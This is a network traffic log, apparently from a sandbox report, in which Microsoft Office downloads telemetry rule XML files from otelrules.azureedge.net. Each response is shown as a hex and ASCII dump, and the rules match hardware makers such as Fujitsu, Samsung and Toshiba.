2024-11-29 22:11:10 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221110Z-174f78459685m244hC1EWRgp2c000000108000000000pa81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:10 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:10 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:10 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221110Z-174f7845968xlwnmhC1EWR0sv800000010f0000000001m1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:10 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:10 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 10a56a44-001e-00ad-35fa-41554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221110Z-174f78459684bddphC1EWRbht4000000106000000000kve3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:11 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:12 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:12 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 14e4a643-101e-007a-3c66-40047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221112Z-174f7845968cdxdrhC1EWRg0en00000010f000000000d2nf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:12 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:12 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:12 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221112Z-174f7845968px8v7hC1EWR08ng00000010v00000000053b4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:13 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:13 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 7e299a61-c01e-0049-0c07-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221113Z-174f7845968qj8jrhC1EWRh41s00000010k0000000002xbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:13 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:14 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 25bfb1e7-201e-00aa-3dab-423928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221113Z-174f7845968ljs8phC1EWRe6en00000010ag00000000f8ue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-29 22:11:14 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:14 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221114Z-174f78459684bddphC1EWRbht4000000107000000000en6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:14 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:15 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 2bae3e0a-f01e-0085-5747-4188ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221114Z-174f7845968frfdmhC1EWRxxbw00000010mg000000008pad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:14 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:15 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 7090c7f2-e01e-000c-3ea1-428e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221114Z-174f7845968n2hr8hC1EWR9cag000000101g00000000qap1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-29 22:11:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:15 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:16 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:15 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221115Z-174f7845968frfdmhC1EWRxxbw00000010pg000000002v53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:16 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:15 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:16 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221116Z-174f7845968qj8jrhC1EWRh41s00000010bg00000000qa98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" 